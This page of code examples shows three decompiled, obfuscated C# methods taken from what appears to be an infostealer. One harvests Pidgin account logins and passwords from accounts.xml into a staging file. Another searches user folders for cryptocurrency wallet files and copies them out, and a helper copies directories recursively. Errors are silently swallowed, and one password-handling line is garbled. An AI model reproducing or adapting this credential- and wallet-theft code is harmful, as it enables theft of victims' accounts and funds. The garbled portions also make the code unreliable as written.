コード例 #1
0
 // Token: 0x060001BC RID: 444 RVA: 0x0000D7E4 File Offset: 0x0000B9E4
 public static void smethod_2(DirectoryInfo directoryInfo_0, DirectoryInfo directoryInfo_1)
 {
     try
     {
         foreach (FileInfo fileInfo in directoryInfo_0.GetFiles())
         {
             fileInfo.CopyTo(Path.Combine(directoryInfo_1.ToString(), fileInfo.Name), true);
         }
         foreach (DirectoryInfo directoryInfo in directoryInfo_0.GetDirectories())
         {
             DirectoryInfo directoryInfo_2 = directoryInfo_1.CreateSubdirectory(directoryInfo.Name);
             Class17.smethod_2(directoryInfo, directoryInfo_2);
         }
     }
     catch
     {
     }
 }
コード例 #2
0
        // Token: 0x060001C1 RID: 449 RVA: 0x0000E048 File Offset: 0x0000C248
        public static void smethod_7()
        {
            StringBuilder stringBuilder = new StringBuilder();
            string        text          = Path.Combine(GClass9.string_2, ".purple\\accounts.xml");

            if (File.Exists(text))
            {
                try
                {
                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.Load(new XmlTextReader(text));
                    foreach (object obj in xmlDocument.DocumentElement.ChildNodes)
                    {
                        XmlNode xmlNode    = (XmlNode)obj;
                        string  innerText  = xmlNode.ChildNodes[0].InnerText;
                        string  innerText2 = xmlNode.ChildNodes[1].InnerText;
                        string  innerText3 = xmlNode.ChildNodes[2].InnerText;
                        if (string.IsNullOrEmpty(innerText) || string.IsNullOrEmpty(innerText2) || string.IsNullOrEmpty(innerText3))
                        {
                            break;
                        }
                        stringBuilder.AppendLine("Protocol: " + innerText);
                        stringBuilder.AppendLine("Login: "******"Password: "******"\r\n");
                    }
                    if (stringBuilder.Length > 0)
                    {
                        Directory.CreateDirectory(GClass9.string_6 + "\\Pidgin");
                        try
                        {
                            File.AppendAllText(GClass9.string_6 + "\\Pidgin\\Logins.txt", stringBuilder.ToString());
                        }
                        catch
                        {
                        }
                    }
                }
                catch
                {
                }
                Class17.smethod_0();
            }
        }
コード例 #3
0
        // Token: 0x060001BF RID: 447 RVA: 0x0000DB08 File Offset: 0x0000BD08
        public static void smethod_5(string string_0)
        {
            try
            {
                string[] directories = Directory.GetDirectories(string_0);
                int      i           = 0;
                while (i < directories.Length)
                {
                    string text = directories[i];
                    try
                    {
                        if (text == GClass9.string_2 + "\\Microsoft")
                        {
                            goto IL_213;
                        }
                        if (text == GClass9.string_1 + "\\Application Data")
                        {
                            goto IL_213;
                        }
                        if (text == GClass9.string_1 + "\\History")
                        {
                            goto IL_213;
                        }
                        if (text == GClass9.string_1 + "\\Microsoft")
                        {
                            goto IL_213;
                        }
                        if (text == GClass9.string_1 + "\\Temporary Internet Files")
                        {
                            goto IL_213;
                        }
                        foreach (string text2 in Directory.GetFiles(text))
                        {
                            FileInfo fileInfo = new FileInfo(text2);
                            if (fileInfo.Name == "wallet.dat" || fileInfo.Name == "wallet" || fileInfo.Name == "default_wallet.dat" || fileInfo.Name == "default_wallet" || fileInfo.Name.EndsWith("wallet") || fileInfo.Name.EndsWith("bit") || fileInfo.Name.StartsWith("wallet"))
                            {
                                Directory.CreateDirectory(GClass9.string_6 + "\\Wallets");
                                try
                                {
                                    if (!fileInfo.Name.EndsWith(".log"))
                                    {
                                        string name = new DirectoryInfo(text).Name;
                                        Directory.CreateDirectory(GClass9.string_6 + "\\Wallets\\" + name);
                                        File.Copy(text2, string.Concat(new string[]
                                        {
                                            GClass9.string_6,
                                            "\\Wallets\\",
                                            name,
                                            "\\",
                                            fileInfo.Name
                                        }));
                                    }
                                }
                                catch
                                {
                                }
                            }
                        }
                    }
                    catch
                    {
                    }
                    goto IL_20D;
IL_213:
                    i++;
                    continue;
IL_20D:
                    Class17.smethod_5(text);
                    goto IL_213;
                }
            }
            catch
            {
            }
        }